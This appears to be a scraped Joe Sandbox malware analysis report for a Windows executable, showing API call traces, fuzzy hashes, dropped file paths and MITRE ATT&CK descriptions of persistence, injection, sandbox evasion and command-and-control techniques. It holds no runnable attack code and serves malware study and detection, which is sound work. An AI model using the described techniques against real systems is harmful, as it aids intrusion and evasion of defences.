RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,: Completed,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,: Completed,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,: Completed,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,: Completed,?), ref: 00405F90

Strings

: Completed, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: : Completed
API String ID: 3677997916-2954849223
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(00010442,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,76233420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ht58337iNC.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxfsmzwq.l2m.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gdvrtpdi.mh0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pa52xyqm.wzx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qhdqj0en.elp.psm1

C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com

C:\Users\user\AppData\Roaming\Remontado113\Moesgaard.txt

C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\hinney.led

C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe

C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Remontado113\Sensationslystens.kla

C:\Users\user\AppData\Roaming\Remontado113\bulkskibenes.Omd

C:\Users\user\AppData\Roaming\Remontado113\chick.omf

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
ht58337iNC.exe

Function 004032A0 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 401
stringfilecomCOMMON

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 00406077 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 0040389E Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 00401767 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 004051B4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre